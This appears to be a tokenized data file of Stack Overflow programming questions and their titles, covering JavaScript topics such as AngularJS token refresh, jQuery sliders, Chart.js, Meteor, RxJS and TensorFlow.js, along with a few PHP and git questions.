' , _ = > { let chunk ; while ( null ! == ( chunk = req.read ( BUFSIZ ) ) ) { res.write ( chunk ) ; } } ) ; req.on ( 'end ' , ( ) = > { res.end ( ) ; } ) ; } ; http.createServer ( handler ) .listen ( 3001 ) ;",Node echo server degrades 10x when stream pipes are used over buffering "JS : I just saw this and think it 's cool.How does the .delay method work under-the-hood ? I mean , how does it figure out how to wait 3 seconds but not interrupt the main control flow ? console.log ( `` Starting ... '' ) ; $ ( `` # my_element '' ) .fadeIn ( ) .delay ( 3000 ) .fadeOut ( ) ; console.log ( `` Finishing ... '' ) ;",How does jQuery 's .delay method work under-the-hood ? "JS : If three is found then it should return true and stop the iteration . Otherwise return return false if not found.I am using filter ( ) - is it wrong approach to use ? Demo : https : //jsbin.com/dimolimayi/edit ? js , console var data = [ 'one ' , 'two ' , 'three ' , 'four ' , 'three ' , 'five ' , ] ; found = data.filter ( function ( x ) { console.log ( x ) ; return x == `` three '' ; } ) ; console.log ( found ) ;",How to stop looping once it found ? "JS : I 'm asking this because a couple of times now , I 've tried to play around with the $ locationProvider.html5Mode ( true ) command along with < base href= '' / '' > and ran into a lot of errors calling the scripts/styles/images for my project . I guess there must be something I am doing wrong , but is there a certain folder structure you should follow so you do n't run into these errors ? Or is there a specific way that the base href works that I 'm not quite understanding ? Recently , I thought I 'd try it on a very , very small app . It 's effectively a static website , but I want to take advantage of Angular 's routing to make sure all of the pages can load instantly . So my structure would be something like this : So I know that this folder structure is n't great , but I 'll only be using Angular in this project for routing , nothing more , so it fits my needs.I put into the head < base href= '' / '' > , put in body ng-app and ng-controller , and inside the body put a < div ng-view > somewhere too.I added in the $ locationProvider.html5Mode ( true ) and tried the app out . All of my scripts are then being loaded as http : //localhost:8888/script.js which is incorrect . The project is located in a folder so that index.html is located in http : //localhost:8888/my-project/index.html . So , it should be loading the scripts from http : //localhost:8888/my-project/js/angular/app.js for example.Is there something that I 'm not understanding about the base href ? Eventually I may host this app somewhere online , so I want the URLs to scripts etc to all be relevant to the file really . Anyone have any ideas ? Alright , so above the base href tag I would have my CSS styles which would be linked as css/style.css and at the bottom of my body tag I would have my scripts loaded as js/init.js or js/angular/app.js for example . This would try to load it as if the js folder is located directly at localhost:8888/js . my-project css images js angular app.js app.routes.js mainCtrl.js views home.html about.html contact.html index.html",AngularJS - How does $ location html5Mode work ? "JS : If a javascript function is declared anonymously is there any way to override it or portions of it ? I am attempting to stop google.com 's instant search from hijacking the up and down arrow keys to move through your search rankings . I have identified what I believe is the problematic section of code . Keycodes 38 and 40 are for the down and up keys.The problem is that this is part of a function called Sb = function ( a ) { } that lies inside of about a three thousand line anonymous function . There is a similar question posted on SO here that the author ended up working out in a hacky way that does n't apply to me . I realize I can turn off instant search , but I like it , I just ca n't stand that my arrow keys do n't work anymore.SOLUTION : I ended up writing a chrome extension to revert up/down arrow key functionality to scrolling . I used the following code . Thank you to Raze and Mofle . if ( b == 40 ) aa ( f ) ; else if ( b == 38 ) aa ( j ) ; else if ( b == 37 || b == 39 ) if ( ! ca ( b == 39 ) ) return f ; a.preventDefault & & a.preventDefault ( ) ; return a.returnValue = j if ( event.keyCode == 40 || event.keyCode == 38 ) { event.cancelBubble = true ; event.stopPropagation ( ) ; return false ; }",Overriding a portion of a google.com anonymous function "JS : I have a problem with raphaeljs export plugin ( https : //github.com/ElbertF/Raphael.Export ) . in a path element I use attribute fill and as a source I give a image url to fullfill . But when I export this to SVG I see a path element definition , but when I export it to PNG , I do not see again.So in my app I add an attr to path element like this : and I export this with paper.toSVG ( ) and in my SVG I find a path : But when I transform this to PNG with : I can not find this path fulfilled with my background . Can anybody help ? paper.path ( `` M 195 10 L 300 L 195 z '' ) .attr ( { 'stroke-width ' : 0 , 'fill ' : 'url ( images/alfen/02/murek.png ) ' } ) ; < path transform= '' matrix ( 1,0,0,1,0,0 ) '' fill= '' url ( images/alfen/02/murek.png ) '' stroke= '' # 000 '' d= '' M203,183.94389438943895L948,183.94389438943895L948,195L203,195Z '' stroke-width= '' 0 '' > < /path > < ? php $ json = $ _POST [ 'json ' ] ; $ output = str_replace ( '\ '' ' , ' '' ' , $ json ) ; $ filenameSVG = 'test ' ; file_put_contents ( `` $ filenameSVG.svg '' , $ output ) ; $ konwert = `` convert $ filenameSVG.svg $ filenameSVG.jpg '' ; system ( $ konwert ) ;",Error in exporting raphaeljs to jpg with path background as image "JS : I have implemented authentication system and after upgrading from angular 1.0.8 to 1.2.x , system does n't work as it used to . When user logs in it gets a token . When token is expired , a refresh function for new token is called . New token is successfully created on a server and it isstored to database . But client does n't get this new token , so it requests a new token again , and again and again until it logs out . Server side ( MVC Web Api ) is working fine , so problem mustbe on client side . The problem must be on a retry queue . Below I pasted relevant code and a console trace for both versions of applications ( 1.0.8 and 1.2.x ) . I am struggling with this for days now and I ca n't figure it out.In the link below , there are 5 relevant code blocks : interceptor.js ( for intercepting requests , both versions ) retryQueue.js ( manages queue of retry requests ) security.js ( manages handler for retry queue item and gets a new token from api ) httpHeaders.js ( sets headers ) tokenHandler.js ( handles tokens in a cookies ) Code : http : //pastebin.com/Jy2mzLgjConsole traces for app in angular 1.0.8 : http : //pastebin.com/aL0VkwdNand angular 1.2.x : http : //pastebin.com/WFEuC6WBinterceptor.js ( angular 1.2.x version ) retryQueue.jssecurity.jssession.service.jsThanks to @ Zerot for suggestions and code samples , I had to change part of the interceptor like this : Many thanks , Jani angular.module ( 'security.interceptor ' , [ 'security.retryQueue ' ] ) .factory ( 'securityInterceptor ' , [ ' $ injector ' , 'securityRetryQueue ' , ' $ q ' , function ( $ injector , queue , $ q ) { return { response : function ( originalResponse ) { return originalResponse ; } , responseError : function ( originalResponse ) { var exception ; if ( originalResponse.headers ) { exception = originalResponse.headers ( ' x-eva-api-exception ' ) ; } if ( originalResponse.status === 401 & & ( exception === 'token_not_found ' || exception === 'token_expired ' ) ) { queue.pushRetryFn ( exception , function retryRequest ( ) { return $ injector.get ( ' $ http ' ) ( originalResponse.config ) ; } ) ; } return $ q.reject ( originalResponse ) ; } } ; } ] ) .config ( [ ' $ httpProvider ' , function ( $ httpProvider ) { $ httpProvider.interceptors.push ( 'securityInterceptor ' ) ; } ] ) ; angular.module ( 'security.retryQueue ' , [ ] ) .factory ( 'securityRetryQueue ' , [ ' $ q ' , ' $ log ' , function ( $ q , $ log ) { var retryQueue = [ ] ; var service = { onItemAddedCallbacks : [ ] , hasMore : function ( ) { return retryQueue.length > 0 ; } , push : function ( retryItem ) { retryQueue.push ( retryItem ) ; angular.forEach ( service.onItemAddedCallbacks , function ( cb ) { try { cb ( retryItem ) ; } catch ( e ) { $ log.error ( 'callback threw an error ' + e ) ; } } ) ; } , pushRetryFn : function ( reason , retryFn ) { if ( arguments.length === 1 ) { retryFn = reason ; reason = undefined ; } var deferred = $ q.defer ( ) ; var retryItem = { reason : reason , retry : function ( ) { $ q.when ( retryFn ( ) ) .then ( function ( value ) { deferred.resolve ( value ) ; } , function ( value ) { deferred.reject ( value ) ; } ) ; } , cancel : function ( ) { deferred.reject ( ) ; } } ; service.push ( retryItem ) ; return deferred.promise ; } , retryAll : function ( ) { while ( service.hasMore ( ) ) { retryQueue.shift ( ) .retry ( ) ; } } } ; return service ; } ] ) ; angular.module ( 'security.service ' , [ 'session.service ' , 'security.signin ' , 'security.retryQueue ' , 'security.tokens ' , 'ngCookies ' ] ) .factory ( 'security ' , [ ' $ location ' , 'securityRetryQueue ' , ' $ q ' , /* etc . */ function ( ) { var skipRequests = false ; queue.onItemAddedCallbacks.push ( function ( retryItem ) { if ( queue.hasMore ( ) ) { if ( skipRequests ) { return ; } skipRequests = true ; if ( retryItem.reason === 'token_expired ' ) { service.refreshToken ( ) .then ( function ( result ) { if ( result ) { queue.retryAll ( ) ; } else { service.signout ( ) ; } skipRequests = false ; } ) ; } else { skipRequests = false ; service.signout ( ) ; } } } ) ; var service = { showSignin : function ( ) { queue.cancelAll ( ) ; redirect ( '/signin ' ) ; } , signout : function ( ) { if ( service.isAuthenticated ( ) ) { service.currentUser = null ; TokenHandler.clear ( ) ; $ cookieStore.remove ( 'current-user ' ) ; service.showSignin ( ) ; } } , refreshToken : function ( ) { var d = $ q.defer ( ) ; var token = TokenHandler.getRefreshToken ( ) ; if ( ! token ) { d.resolve ( false ) ; } var session = new Session ( { refreshToken : token } ) ; session.tokenRefresh ( function ( result ) { if ( result ) { d.resolve ( true ) ; TokenHandler.set ( result ) ; } else { d.resolve ( false ) ; } } ) ; return d.promise ; } } ; return service ; } ] ) ; angular.module ( 'session.service ' , [ 'ngResource ' ] ) .factory ( 'Session ' , [ ' $ resource ' , ' $ rootScope ' , function ( $ resource , $ rootScope ) { var Session = $ resource ( '../api/tokens ' , { } , { create : { method : 'POST ' } } ) ; Session.prototype.passwordSignIn = function ( ob ) { return Session.create ( angular.extend ( { grantType : 'password ' , clientId : $ rootScope.clientId } , this ) , ob ) ; } ; Session.prototype.tokenRefresh = function ( ob ) { return Session.create ( angular.extend ( { grantType : 'refresh_token ' , clientId : $ rootScope.clientId } , this ) , ob ) ; } ; return Session ; } ] ) ; if ( originalResponse.status === 401 & & ( exception === 'token_not_found ' || exception === 'token_expired ' ) ) { var defer = $ q.defer ( ) ; queue.pushRetryFn ( exception , function retryRequest ( ) { var activeToken = $ cookieStore.get ( 'authorization-token ' ) .accessToken ; var config = originalResponse.config ; config.headers.Authorization = 'Bearer ' + activeToken ; return $ injector.get ( ' $ http ' ) ( config ) .then ( function ( res ) { defer.resolve ( res ) ; } , function ( err ) { defer.reject ( err ) ; } ) ; } ) ; return defer.promise ; }",AngularJs - does n't skip request when waiting for new token "JS : Good day , I need to get the number of days between two dates entered into two kendo.DateTimePickers.My solution always ends with NaN value.RentStartDate and RentEndDate are stored in db as DateTime.Thank you for your advice.CreateOrders.cshtml < script > $ ( `` # RentEndDate '' ) .change ( function ( ) { var startDate = kendo.toString ( $ ( `` # RentStartDate '' ) .data ( `` kendoDateTimePicker '' ) .value ( ) , `` dd.MM.yyyy '' ) ; var endDate = kendo.toString ( $ ( `` # RentEndDate '' ) .data ( `` kendoDateTimePicker '' ) .value ( ) , `` dd.MM.yyyy '' ) ; alert ( calculate ( startDate , endDate ) ) ; } ) ; function calculate ( first , second ) { var diff = Math.round ( ( second - first ) / 1000 / 60 / 60 / 24 ) ; return diff ; } < h4 > Termín půjčení < /h4 > < div class= '' t-col t-col-6 t-col-xs-12 t-col-sm-12 t-col-md-12 col-sm-6 '' > < label for= '' rentStartPicker '' > Půjčit od < /label > @ ( Html.Kendo ( ) .DatePickerFor ( model = > model.RentStartDate ) .Name ( `` rentStartPicker '' ) .HtmlAttributes ( new { style = `` height:28px ; '' , required = `` required '' , validationmessage = `` Vyberte datum '' } ) ) < /div > < div class= '' t-col t-col-6 t-col-xs-12 t-col-sm-12 t-col-md-12 col-sm-6 '' > < label for= '' rentEndPicker '' > Půjčit do < /label > @ ( Html.Kendo ( ) .DatePickerFor ( model = > model.RentEndDate ) .Name ( `` rentEndPicker '' ) .HtmlAttributes ( new { style = `` height:28px ; '' , required = `` required '' , validationmessage = `` Vyberte datum '' } ) ) < /div >",Days between two dates kendo DateTimePicker "JS : I created this slider ( did n't want to use plugins ) : The problem I have is that I don´t know how to get it after the last slide ( image ) , it goes back to the first slide again . Right now , it just .hide and .show till the end and if there is no image it just doesn´t start again.Can someone help me out with a code suggestion to make it take the .length of the slider ( the number of images on it ) and if it is the last slide ( image ) , then goes back to the first slide ( image ) ... like a cycle.Edit : Slider markup function slider ( sel , intr , i ) { var _slider = this ; this.ind = i ; this.selector = sel ; this.slide = [ ] ; this.slide_active = 0 ; this.amount ; this.selector.children ( ) .each ( function ( i ) { _slider.slide [ i ] = $ ( this ) ; $ ( this ) .hide ( ) ; } ) this.run ( ) ; } slider.prototype.run = function ( ) { var _s = this ; this.slide [ this.slide_active ] .show ( ) ; setTimeout ( function ( ) { _s.slide [ _s.slide_active ] .hide ( ) _s.slide_active++ ; _s.run ( ) ; } , interval ) ; } var slides = [ ] ; var interval = 1000 $ ( '.slider ' ) .each ( function ( i ) { slides [ i ] = new slider ( $ ( this ) , interval , i ) ; } ) < div class= '' small_box top_right slider '' > < img class= '' fittobox '' src= '' img/home10.jpg '' alt= '' home10 '' width= '' 854 '' height= '' 592 '' > < img class= '' fittobox '' src= '' img/home3.jpg '' alt= '' home3 '' width= '' 435 '' height= '' 392 '' > < img class= '' fittobox '' src= '' img/home4.jpg '' alt= '' home4 '' width= '' 435 '' height= '' 392 '' > < /div >",jQuery slider - last to first transition "JS : I 've the following ( simplified ) SimpleSchema schema in my Meteor 1.1.0.2 app : In the database I do have the following entries : I 'd like to remove one entry in the entries array specified by an ID.If I execute the following command in the meteor-mongodb-shell it works without problems : But the problem is , that if I 'm going to do the same from within Meteor , it does n't work . Here 's my code : I 've also tried the following : None of these commands give me an error , but they do n't remove anything from my document.Could it be possible , that the $ pull command is n't supported properly or do I have made a mistake somewhere ? Thanks in advance ! EDIT : I 've found the problem , which could n't be seen in my description , because I 've simplified my schema . In my app there 's an additional attribute timestamp in TickerEntries : Thanks to the hint from Kyll , I 've created a Meteorpad and found out , that the autovalue function is causing the problems.I 've now changed the function to the following code : And now it is working . It seems , that returning a autovalue-value in the case of pulling an item/object , it cancels the pull operation , as the value is n't set to the returned value ( so the timestamp attribute keeps the old value but is n't pulled ) .Here 's the according Meteorpad to test it ( simply comment out the check for the operator in the autovalue function ) : http : //meteorpad.com/pad/LLC3qeph66pAEFsrB/LeaderboardThank you all for your help , all your posts were very helpful to me ! Tickers.attachSchema ( new SimpleSchema ( { entries : { type : [ TickerEntries ] , defaultValue : [ ] , optional : true } } ) ) ; TickerEntries = new SimpleSchema ( { id : { type : String , autoform : { type : `` hidden '' , label : false , readonly : true } , optional : true , autoValue : function ( ) { if ( ! this.isSet ) { return new Mongo.Collection.ObjectID ( ) ._str ; } } } , text : { type : String , label : 'Text ' } } ; { `` _id '' : `` ZcEvq9viGQ3uQ3QnT '' , `` entries '' : [ { `` text '' : `` a '' , `` id '' : `` fc29774dadd7b37ee0dc5e3e '' } , { `` text '' : `` b '' , `` id '' : `` 8171c4dbcc71052a8c6a38fb '' } ] } db.Tickers.update ( { _id : '' 3TKgHKkGnzgfwqYHY '' } , { `` $ pull '' : { `` entries '' : { `` id '' : '' 8171c4dbcc71052a8c6a38fb '' } } } ) Tickers.update ( { id : '3TKgHKkGnzgfwqYHY ' } , { $ pull : { 'entries ' : { 'id ' : '8171c4dbcc71052a8c6a38fb ' } } } ) ; Tickers.update ( '3TKgHKkGnzgfwqYHY ' , { $ pull : { 'entries ' : { 'id ' : '8171c4dbcc71052a8c6a38fb ' } } } ) ; TickerEntries = new SimpleSchema ( { id : { type : String , optional : true , autoValue : function ( ) { if ( ! this.isSet ) { return new Mongo.Collection.ObjectID ( ) ._str ; } } } , timestamp : { type : Date , label : 'Minute ' , optional : true , autoValue : function ( ) { if ( ! this.isSet ) { // this check here is necessary ! return new Date ( ) ; } } } , text : { type : String , label : 'Text ' } } ) ; autoValue : function ( ) { if ( ! this.isSet & & this.operator ! == `` $ pull '' ) { // this check here is necessary ! return new Date ( ) ; } }",Pull an entry from an array via Meteor "JS : Is there a way to encapsulate several DOM manipulating commands in a transaction so that the content would not `` flicker about '' ? Something like this : window.stopDrawing ( ) ; // start transaction $ ( `` # news '' ) .append ( `` < div > a new news item < /div > '' ) ; // ... do something more $ ( `` # news '' ) .css ( `` top '' , `` -150px '' ) ; window.startDrawing ( ) ; // stop transaction",HTML DOM Drawing Transaction in Javascript ? "JS : I have a CMS which forces URLs to pages to be of a certain pattern . We need to conditionally rewrite these link 's hrefs.The CMS will print on the page something like : Our router needs to actually point toIf we had written this link ourselves , it would look like : The problem is , we ca n't always guarantee that the /zoo/gorilla part means we 're at zoo ( 'gorilla ' ) . The easiest way would be to parse the CMS url in to the router URL and just do something like : I understand why that is typically against the very idea of ui-router , but I 'm hoping to find a way to use it for this one strange case . < a href= '' /path/to/the/zoo/gorilla.html '' > Go < /a > # /zoo/gorilla < a ui-sref= '' zoo ( 'gorilla ' ) > Go < /a > link.attr ( `` href '' , `` # /zoo/gorilla '' ) ;",AngularJS : ui-router href rewrite into ui-sref "JS : I have a rails-generated date , and a jQuery-generated date.The rails date prints as such : 2002-10-27and the jQuery date prints as such : Tue Aug 14 2001 00:00:00 GMT-0500 ( CDT ) I want to check if the jQuery date is greater or less than the rails date . But no matter the dates , the jQuery date is always interpreted as larger than the rails date.Why is that , and how can I successfully compare the two dates ? UPDATE : Actually I just figured out the problem is that it only allows dates before 1969 . I intended the code to only allow dates over 18 years old . Does anyone know why the difference ? UPDATE 2 : I tested the time output of October 5th , 2000 in my js console and rails consoles , and they give the same first six digits , but the js console adds three zeros . var year = 2001var month = 9month -- var day = 14var date = new Date ( year , month , day ) ; < % @ date = Date.today - 18.years % > if ( date > < % = @ date % > ) { //this code is always executed , no matter what dates I choose } var year = 2000var month = 10month -- var day = 5var date = new Date ( year , month , day ) ; date.getTime ( ) ; = > 970722000000Date.new ( 2000,10,5 ) .to_time.to_i= > 970722000",Comparing jQuery date to Rails date "JS : I 'm trying to print a document on the second paper tray with IPP ( Internet Printing Protocol ) . I 'm using this npm IPP-Library.But at any time i try to print a document my printer shows a message that i need to add paper to the first paper tray and the console output of says Printed : successful-ok.The other variant i tried is following ( from here ) : But then i got this error message : My printer does not support IPP , but i shared it on my Macbook , which provides an IPP service for all shared printers.If i 'm using the first paper tray and have paper in there everything is fine , but for my project it is necessary to print on other trays , too.The attributes ' list returned from Get-Printer-Attributes lists among other trays the second paper as supported media-source , but only the first paper tray works.Does anyone have an idea how to print successfully on another paper tray ? Update : I also tried another printer , but i got the same error.Update 22.06.17 : It 's still confused and do n't have any clue how to fix this . var ipp = require ( `` ipp '' ) ; var PDFDocument = require ( `` pdfkit '' ) ; var concat = require ( `` concat-stream '' ) ; var doc = new PDFDocument ; doc.text ( `` Hello World '' ) ; doc.pipe ( concat ( function ( data ) { var printer = ipp.Printer ( `` MY_URL '' ) ; var file = { `` operation-attributes-tag '' : { `` requesting-user-name '' : `` admin '' , 'attributes-charset ' : 'utf-8 ' , 'attributes-natural-language ' : 'de ' } , `` printer-attributes '' : { `` media-col '' : { `` media-source '' : `` tray-2 '' } , } , data : data } ; printer.execute ( `` Print-Job '' , file , function ( err , res ) { console.log ( `` Printed : `` + res.statusCode ) ; } ) ; } ) ) ; doc.end ( ) ; var PDFDocument = require ( `` pdfkit '' ) ; let fs = require ( 'fs ' ) var ipp = require ( 'ipp ' ) ; var uri = `` http : //10.1.205.71 '' ; var msg = new Buffer ( '0200'+ //Version '000201e6d5f2'+ '01'+ //Operation attributes tag ( your information in the Operation attributes might be different ) '47'+ //charset tag '0012'+ //length '617474726962757465732d63686172736574'+ //attributes-charset '0005'+ //length '7574662d38'+ //utf-8 '48'+ //natural language tag '001b'+ //length '617474726962757465732d6e61747572616c2d6c616e6775616765'+//attributes-natural-language '0002'+//length '656e'+ //en '45'+ // URI tag '000b'+ //length '7072696e7465722d757269'+ //printer-uri '0012'+//length '687474703a2f2f31302e312e3230352e3731'+//http : //10.1.205.71 '49'+ //mimeMediaType tag '000f'+ //length '646f63756d656e742d666f726d6174'+ //document format '000f'+ //length '6170706c69636174696f6e2f706466'+ //application/pdf '02'+ //job attributes tag '34'+ //begin collection '0009'+ //length '6d656469612d636f6c'+ //media-col '0000'+ //value length '4a'+ //collection entry '0000'+ //name length '000c'+ //value length '6d656469612d736f75726365'+ //media-source '44'+ // collection entry '0000'+ //name length '0006'+ //value length '747261792d32'+ //tray-2 '37'+ //end of collection '00000000'+ //name length and value length '03 ' , 'hex ' ) ; var doc = new PDFDocument ; doc.text ( `` Hello World '' ) ; var buffers = [ ] ; doc.on ( 'data ' , buffers.push.bind ( buffers ) ) ; doc.on ( 'end ' , function ( ) { var buf = Buffer.concat ( buffers ) ; var catBuf = Buffer.concat ( [ msg , buf ] ) ; ipp.request ( uri , catBuf , function ( err , res ) { if ( err ) { return console.log ( err ) ; } console.log ( JSON.stringify ( res , null,2 ) ) ; } ) ; } ) ; doc.end ( ) ; { Error at new IppResponseError ( /Users/alex/dev/print/printing/node_modules/ipp/lib/request.js:72:17 ) at ClientRequest. < anonymous > ( /Users/alex/dev/print/printing/node_modules/ipp/lib/request.js:40:8 ) at Object.onceWrapper ( events.js:293:19 ) at emitOne ( events.js:96:13 ) at ClientRequest.emit ( events.js:191:7 ) at HTTPParser.parserOnIncomingClient [ as onIncoming ] ( _http_client.js:522:21 ) at HTTPParser.parserOnHeadersComplete ( _http_common.js:99:23 ) at Socket.socketOnData ( _http_client.js:411:20 ) at emitOne ( events.js:96:13 ) at Socket.emit ( events.js:191:7 ) name : 'IppResponseError ' , statusCode : 400 , message : 'Received unexpected response status 400 from the printer ' , stack : 'Error\n at new IppResponseError ( /Users/alex/dev/print/printing/node_modules/ipp/lib/request.js:72:17 ) \n at ClientRequest. < anonymous > ( /Users/alex/dev/print/printing/node_modules/ipp/lib/request.js:40:8 ) \n at Object.onceWrapper ( events.js:293:19 ) \n at emitOne ( events.js:96:13 ) \n at ClientRequest.emit ( events.js:191:7 ) \n at HTTPParser.parserOnIncomingClient [ as onIncoming ] ( _http_client.js:522:21 ) \n at HTTPParser.parserOnHeadersComplete ( _http_common.js:99:23 ) \n at Socket.socketOnData ( _http_client.js:411:20 ) \n at emitOne ( events.js:96:13 ) \n at Socket.emit ( events.js:191:7 ) ' } 400 'response '",Can not print on another paper tray via IPP "JS : I tried using the example from Google Drive documentation.So the code is : The app is installed properly and I 'm using drive.file scope.The problem is that the file is not deleted . It is still present in the Drive UI and can not be opened anymore or downloaded . File is corrupted.The request being sent is not the DELETE https : //www.googleapis.com/drive/v2/files/fileId as was stated in docs . It is a POST https : //www.googleapis.com/rpc ? key=API_KEY . The body contains a JSON array : Response contains one empty JSON object . There are no errors in the response and there are no JS errors in the page . The APIs Explorer successfully deletes the file.Any hints ? var request = gapi.client.drive.files.delete ( { 'fileId ' : someFileId } ) ; request.execute ( function ( resp ) { console.log ( resp ) ; } ) ; [ { `` jsonrpc '' : '' 2.0 '' , '' id '' : '' gapiRpc '' , '' method '' : '' drive.files.delete '' , '' params '' : { `` fileId '' : '' someFileId '' } , '' apiVersion '' : '' v2 '' } ]",Deleting a Google Drive file using JS client "JS : I used the outerProduct function in the TensorFlow.js framework on two 1D arrays ( a , b ) , but I am finding it difficult to get the values of the resulting tensor in the regular javascript format . Even after using .dataSync and Array.from ( ) , I am still unable to get the expected output format . The resulting outer product between the two 1D arrays should give one 2D array , but I am getting 1D array instead.console.log ( array1 ) ; The expected result is array1 = [ [ 3 , 6 ] , [ 4 , 8 ] ] , but I am getting array1 = [ 3 , 6 , 4 , 8 ] const a = tf.tensor1d ( [ 1 , 2 ] ) ; const b = tf.tensor1d ( [ 3 , 4 ] ) ; const tensor = tf.outerProduct ( b , a ) ; const values = tensor.dataSync ( ) ; const array1 = Array.from ( values ) ;",Convert values of a tensor in TensorFlow to regular Javascript array JS : I am trying to understand the significance of the following code in javascript : Displays 0Is there any name for this ? What concepts are involved ? alert ( + [ ] ) ;,why a plus sign before array notation in javascript returns zero "JS : I 've been trying to get my head around JavaScript inheritance.Confusingly , there seem to be many different approaches - Crockford presents quite a few of those , but ca n't quite grok his prose ( or perhaps just fail to relate it to my particular scenario ) .Here 's an example of what I have so far : This approach leaves me with a fair amount of redundancy , as I can not delegate instance-specific attributes to the base class ( at the time of prototype assignment , the attribute value is unknown ) . Thus each subclass has to repeat that attribute.Is there a recommended way to solve this ? Bonus question : Is there a reasonable way to avoid the `` new '' operator , or would that be regarded as a newbie working against the language ? // base classvar Item = function ( type , name ) { this.type = type ; this.name = name ; // unused } ; // actual class ( one of many related alternatives ) var Book = function ( title , author ) { this.name = title ; // redundant ( base class ) this.author = author ; } ; Book.prototype = new Item ( 'book ' ) ; // duplication of `` book '' // instancesvar book = new Book ( 'Hello World ' , ' A . Noob ' ) ;",JavaScript multilevel inheritance "JS : I 'm trying to add extra methods to class , and these extra methods should use the super methods.If I add them in the model definition , it works . If I try to add the extra method to B.prototype , I 'll get SyntaxError : 'super ' keyword unexpected here.It is quite clear , why I get this error . This is a function and not a class method . Let 's try to define the method as a class method , and copy it to the original B class : In this case I 'll get TypeError : ( intermediate value ) .doSomething is not a function.Is there any way to define methods ( that refer to super ) outside from the original class definition , and add these methods later to the original class ? class A { doSomething ( ) { console.log ( 'logSomething ' ) ; } } class B extends A { doSomething ( ) { super.doSomething ( ) ; console.log ( 'logSomethingElse ' ) ; } } class A { doSomething ( ) { console.log ( 'logSomething ' ) ; } } class B extends A { } B.prototype.doSomething = function doSomething ( ) { super.doSomething ( ) ; console.log ( 'logSomethingElse ' ) ; } class A { doSomething ( ) { console.log ( 'logSomething ' ) ; } } class B extends A { } class X { doSomething ( ) { super.doSomething ( ) ; console.log ( ' 2 logSomethingElse ' ) ; } } B.prototype.doSomething = X.prototype.doSomething ;",ES6 use ` super ` out of class definition "JS : In RxJS , I want the subscription to persist on the stream even when the stream is changed . Below I used an interval stream to test the behaviourjsbin Live DemoHow do I persist the subscription while changing bar $ stream ? Do I have do dispose the subscription and set another subscription after I change bar $ ? //Works because foo $ is unchangedlet foo $ = Rx.Observable.interval ( 1000 ) ; foo $ .subscribe ( x = > console.log ( ` foo $ : $ { x } ` ) ) ; //Does n't work because bar $ is changedlet bar $ = Rx.Observable.never ( ) ; bar $ .subscribe ( x = > console.log ( ` bar $ : $ { x } ` ) ) bar $ = Rx.Observable.interval ( 1000 ) ;",Changing observable stream while keeping subscription "JS : so recently I stumbled upon a really weird bug with transitioning a box-shadow ... When hovering over the divs , a box-shadow ( black , 5px spread ) is applied with a transition.When leaving the divs with the cursor , the box-shadow spread is again set to 0px.The weird thing : when the div is displayed with a % -based positioning ( e.g . left : 1 % ) , the box-shadow is not cleared up properly . Some remnants of it are still visible - cf . red divs in JSFiddle.It gets weirder : the position and shape of the leftover box-shadow varies . It seems to be somehow related to the screen width . In the JSFiddle , just move the vertical resize bar and hover again ... JSFiddleCSSHTMLAm I missing something here or is this a bug ? PS : This behavior is present in Chrome and Opera . Firefox does not seem to have this bug .a , .b , .c , .d { margin : 5px ; width : 100px ; height : 100px ; transition : box-shadow 0.2s linear ; box-shadow : 0 0 0 0 black ; position : relative ; } .a , .b { background-color : # 6c6 ; } .c , .d { background-color : # c66 ; } .b { left : 50px ; } .c { left : 1 % ; } .d { left : 2 % ; } .a : hover , .b : hover , .c : hover , .d : hover { box-shadow : 0 0 0 5px black ; } < div class= '' a '' > < /div > < div class= '' b '' > < /div > < div class= '' c '' > < /div > < div class= '' d '' > < /div >",Really weird box-shadow transition bug "JS : I have created a combo dual bar graph using chartjs . My code is given below . The bar combo dual graph is working fine but I had got a requirement to put a line for the green color bar graph which connects all its top mid points . I have somewhat drew a line graph connecting the green graph but the problem which I am facing is that the line graph spot point is not in the top middle of the green bar graph like as shown below.Can anyone please tell me how to make the line spot in the top middle of the bar graphWorking Demohtmljs < canvas id= '' canvas '' > < /canvas > var barChartData = { labels : [ `` January '' , `` February '' , `` March '' , `` April '' , `` May '' , `` June '' , `` July '' ] , datasets : [ { type : 'bar ' , label : `` Visitor '' , data : [ 10 , 59 , 340 , 521 , 450 , 200 , 195 ] , fill : false , backgroundColor : `` rgba ( 220,220,220,0.5 ) '' , borderColor : ' # 71B37C ' , hoverBackgroundColor : ' # 71B37C ' , hoverBorderColor : ' # 71B37C ' } , { type : 'bar ' , label : `` Visitor '' , data : [ 200 , 185 , 590 , 621 , 250 , 400 , 95 ] , fill : false , backgroundColor : ' # 71B37C ' , borderColor : ' # 71B37C ' , hoverBackgroundColor : ' # 71B37C ' , hoverBorderColor : ' # 71B37C ' } , { type : 'line ' , data : [ 200 , 185 , 590 , 621 , 250 , 400 , 95 ] , fill : false , borderColor : ' # EC932F ' , backgroundColor : ' # EC932F ' , pointBorderColor : ' # EC932F ' , pointBackgroundColor : ' # EC932F ' , pointHoverBackgroundColor : ' # EC932F ' , pointHoverBorderColor : ' # EC932F ' } ] } ; window.onload = function ( ) { var ctx = document.getElementById ( `` canvas '' ) .getContext ( `` 2d '' ) ; window.myBar = new Chart ( ctx , { type : 'bar ' , data : barChartData , options : { responsive : true , tooltips : { mode : 'label ' } , elements : { line : { fill : false } } , scales : { xAxes : [ { display : true , gridLines : { display : false } , labels : { show : true , } } ] , yAxes : [ { type : `` linear '' , display : true , position : `` left '' , id : `` y-axis-1 '' , gridLines : { display : false } , labels : { show : true , } } , { type : `` linear '' , display : true , position : `` right '' , id : `` y-axis-2 '' , gridLines : { display : false } , labels : { show : true , } } ] } } } ) ; } ;",line graph spot in the top middle of the bar graph "JS : Is it possible to employ some kind of prototypal inheritance in PHP like it is implemented in JavaScript ? This question came to my mind just out of curiosity , not that I have to implement such thing and go against classical inheritance . It just feels like a interesting area to explore.Are there prebuild functions to combine classical inheritance model in PHP with some sort of Prototypal inheritance with a combination of anonymous functions ? Let 's say I have a simple class for UserModel class UserModel implements PrototypalInheritance { // setters , getters , logic.. static public function Prototype ( ) { } } $ user = new UserModel ( ) ; UserModel : :prototype ( ) - > getNameSlug = function ( ) { return slugify ( $ this- > getUserName ( ) ) ; } echo $ user- > getNameSlug ( ) ;",Prototypal inheritance in PHP ( like in JavaScript ) "JS : I have a Ruby on Rails project ( versioned with git ) that includes a number of external JavaScript dependencies that exist in various public GitHub repositories . What 's the best way to include those dependencies in my repository ( aside , of course , from just manually copying them in ) in a way that allows me to control when they get updated ? git submodules seem like the perfect way to go , but it causes problems when switching among several branches , many of which do n't contain the same submodules.If git submodules are the best way to do it , I suppose my real question is : How can I use submodules among many branches without running into this problem all the time : my_project [ feature/new_feature√ ] $ git submodule update 